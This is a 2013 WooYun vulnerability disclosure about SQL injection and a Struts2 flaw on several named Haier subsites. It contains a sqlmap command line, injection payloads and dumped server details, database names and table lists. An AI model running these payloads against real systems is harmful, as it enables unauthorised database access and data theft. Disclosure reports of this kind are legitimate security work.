当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-045837

漏洞标题：海尔集团#某几个分站存在多个安全漏洞（SQL注射、sturts2、信息泄露）

相关厂商：海尔集团

漏洞作者： Mr.leo

提交时间：2013-12-13 18:37

修复时间：2013-12-18 18:38

公开时间：2013-12-18 18:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-13： 细节已通知厂商并且等待厂商处理中
2013-12-18： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

海尔集团#某几个分站存在多个安全漏洞（SQL注射、sturts2、信息泄露）

详细说明：

站点1：
http://su.haierzmd.com 沭阳县华林电器销售经营部海尔客户管理系统
ID参数没有过滤，导致注射
Target: http://su.haierzmd.com/zclr1.asp?ID=60
Host IP: (Proxy IP)
Web Server: Microsoft-IIS/6.0
Powered-by: ASP.NET
DB Server: MsSQL no error
Resp. Time(avg): 90 ms
Current User: dbo
Current DB: ssy988haier2
System User: sa
Host Name: 1-BF62C59DACDA4
Server Name: 1-BF62C59DACDA4
master
tempdb
model
msdb
pubs
Northwind
ssy988haier2
gy@haier#gy2
xs
xs@988
xshaier988haier
xshaierzmd
huanghaifeng#988
shopxp#gsb988
chenghaiyue#988
gsb#988
用户名密码侧漏

123.png


Place: GET
Parameter: ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=60 AND 5498=5498
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: ID=60 AND 7128=CONVERT(INT,(CHAR(58)+CHAR(117)+CHAR(107)+CHAR(104)+
CHAR(58)+(SELECT (CASE WHEN (7128=7128) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(5
8)+CHAR(98)+CHAR(120)+CHAR(122)+CHAR(58)))
---
[14:53:44] [INFO] testing Microsoft SQL Server
[14:53:44] [INFO] confirming Microsoft SQL Server
[14:53:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[14:53:44] [INFO] fetching current user
[14:53:44] [INFO] retrieved: sa
current user: 'sa'
[14:53:44] [INFO] fetching current database
[14:53:45] [INFO] retrieved: ssy988haier2
current database: 'ssy988haier2'
[14:53:45] [INFO] fetching database names
[14:53:45] [INFO] the SQL query used returns 17 entries
[14:53:45] [INFO] retrieved: chenghaiyue#988
[14:53:45] [INFO] retrieved: gsb#988
[14:53:45] [INFO] retrieved: gy@haier#gy2
[14:53:46] [INFO] retrieved: huanghaifeng#988
[14:53:46] [INFO] retrieved: huangwei_gsb#988
[14:53:46] [INFO] retrieved: master
[14:53:46] [INFO] retrieved: model
[14:53:46] [INFO] retrieved: msdb
[14:53:47] [INFO] retrieved: Northwind
[14:53:47] [INFO] retrieved: pubs
[14:53:47] [INFO] retrieved: shopxp#gsb988
[14:53:47] [INFO] retrieved: ssy988haier2
[14:53:47] [INFO] retrieved: tempdb
[14:53:47] [INFO] retrieved: xs
[14:53:48] [INFO] retrieved: xs@988
[14:53:48] [INFO] retrieved: xshaier988haier
[14:53:48] [INFO] retrieved: xshaierzmd
available databases [17]:
[*] chenghaiyue#988
[*] gsb#988
[*] gy@haier#gy2
[*] huanghaifeng#988
[*] huangwei_gsb#988
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] shopxp#gsb988
[*] ssy988haier2
[*] tempdb
[*] xs
[*] xs@988
[*] xshaier988haier
[*] xshaierzmd
Database: ssy988haier2
[49 tables]
+--------------------+
| dbo.VIEW1 |
| dbo.VIEW2 |
| dbo.VIEW3 |
| dbo.amdin |
| dbo.anzhuang |
| dbo.cangcu |
| dbo.cpfl |
| dbo.cpmc |
| dbo.cpxh |
| dbo.cw |
| dbo.cy |
| dbo.cy2 |
| dbo.cy3 |
| dbo.cy4 |
| dbo.cy5 |
| dbo.dindang |
| dbo.dtproperties |
| dbo.dzj |
| dbo.feyong |
| dbo.hcp |
| dbo.huiyun |
| dbo.hy |
| dbo.ip |
| dbo.js |
| dbo.jzsz |
| dbo.kp |
| dbo.kp2 |
| dbo.ms |
| dbo.msanzhuan |
| dbo.mskp |
| dbo.msyd |
| dbo.pic_elm |
| dbo.pic_pic |
| dbo.pic_tm |
| dbo.pic_ylm |
| dbo.ps |
| dbo.qy |
| dbo.rk |
| dbo.sysconstraints |
| dbo.syssegments |
| dbo.tg |
| dbo.tz |
| dbo.xzcp |
| dbo.xzrk |
| dbo.xztm |
| dbo.yg |
| dbo.yuyue |
| dbo.zc |
| dbo.zclr |
+--------------------+
站点2：
http://xs.haierzmd.com/ 响水海尔客户管理系统
sqlmap.py -u "http://xs.haierzmd.com/zclr1.asp?ID=60" --dbs --current-user --current-db
GET parameter 'ID' is vulnerable. Do you want to keep testing the others (i
)? [y/N] n
sqlmap identified the following injection points with a total of 26 HTTP(s)
ests:
---
Place: GET
Parameter: ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=60 AND 6325=6325
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING cl
Payload: ID=60 AND 2259=CONVERT(INT,(CHAR(58)+CHAR(122)+CHAR(99)+CHAR(9
AR(58)+(SELECT (CASE WHEN (2259=2259) THEN CHAR(49) ELSE CHAR(48) END))+CHA
+CHAR(122)+CHAR(113)+CHAR(119)+CHAR(58)))
---
[15:00:00] [INFO] testing Microsoft SQL Server
[15:00:00] [INFO] confirming Microsoft SQL Server
[15:00:01] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[15:00:01] [INFO] fetching current user
[15:00:01] [INFO] retrieved: sa
current user: 'sa'
[15:00:01] [INFO] fetching current database
[15:00:01] [INFO] retrieved: xshaier988haier
current database: 'xshaier988haier'
[15:00:01] [INFO] fetching database names
[15:00:01] [INFO] the SQL query used returns 17 entries
[15:00:01] [INFO] retrieved: chenghaiyue#988
[15:00:02] [INFO] retrieved: gsb#988
[15:00:02] [INFO] retrieved: gy@haier#gy2
[15:00:02] [INFO] retrieved: huanghaifeng#988
[15:00:02] [INFO] retrieved: huangwei_gsb#988
[15:00:02] [INFO] retrieved: master
[15:00:03] [INFO] retrieved: model
[15:00:03] [INFO] retrieved: msdb
[15:00:03] [INFO] retrieved: Northwind
[15:00:03] [INFO] retrieved: pubs
[15:00:03] [INFO] retrieved: shopxp#gsb988
[15:00:04] [INFO] retrieved: ssy988haier2
[15:00:04] [INFO] retrieved: tempdb
[15:00:04] [INFO] retrieved: xs
[15:00:04] [INFO] retrieved: xs@988
[15:00:04] [INFO] retrieved: xshaier988haier
[15:00:05] [INFO] retrieved: xshaierzmd
available databases [17]:
[*] chenghaiyue#988
[*] gsb#988
[*] gy@haier#gy2
[*] huanghaifeng#988
[*] huangwei_gsb#988
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] shopxp#gsb988
[*] ssy988haier2
[*] tempdb
[*] xs
[*] xs@988
[*] xshaier988haier
[*] xshaierzmd

123123123.png


Database: xshaier988haier
[66 tables]
+--------------------+
| dbo.VIEW1 |
| dbo.VIEW2 |
| dbo.VIEW3 |
| dbo.VIEW4 |
| dbo.VIEW5 |
| dbo.amdin |
| dbo.anw |
| dbo.anzhuang |
| dbo.azg |
| dbo.cangcu |
| dbo.cpfl |
| dbo.cpjj |
| dbo.cpmc |
| dbo.cpxh |
| dbo.cw |
| dbo.cy |
| dbo.dindang |
| dbo.dtproperties |
| dbo.dzj |
| dbo.feyong |
| dbo.hcp |
| dbo.huiyun |
| dbo.hy |
| dbo.hypic |
| dbo.ip |
| dbo.jnbt |
| dbo.js |
| dbo.jzsz |
| dbo.kp |
| dbo.kp2 |
| dbo.kpxz |
| dbo.ms |
| dbo.msanzhuan |
| dbo.msdy |
| dbo.mskp |
| dbo.mskp2 |
| dbo.mslr |
| dbo.msyd |
| dbo.pczc |
| dbo.pic_elm |
| dbo.pic_pic |
| dbo.pic_tm |
| dbo.pic_ylm |
| dbo.ps |
| dbo.qy |
| dbo.rk |
| dbo.rktm |
| dbo.sc |
| dbo.sc_lx |
| dbo.sj |
| dbo.sysconstraints |
| dbo.syssegments |
| dbo.tg |
| dbo.tz |
| dbo.wd |
| dbo.wldw |
| dbo.wzps |
| dbo.xzcp |
| dbo.xzcy |
| dbo.xztm |
| dbo.yg |
| dbo.ygjk |
| dbo.ygsz |
| dbo.yuyue |
| dbo.zc |
| dbo.zclr |
+--------------------+

456.png


678.png


另外su.haierzmd.com没有设置robots，导致被搜索引擎抓取，未授权查看信息并操作相关功能

789.png


有用户名密码后台我就不深入了，跟 WooYun: 海尔集团#某重要管理系统存在SQL注入导致后台沦陷 一样。
站点3：
http://123.234.41.57/ 海尔商旅电子商务平台
存在sturts2漏洞
http://123.234.41.57/loginAction!doLogin.action

123123.png


456456.png


test.txt上传

789789.png


over

漏洞证明：

已经证明

修复方案：

1#升级struts2版本
2# WooYun: 海尔集团#某重要管理系统存在SQL注入导致后台沦陷

版权声明：转载请注明来源 Mr.leo@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-12-18 18:38

厂商回复：

最新状态：

暂无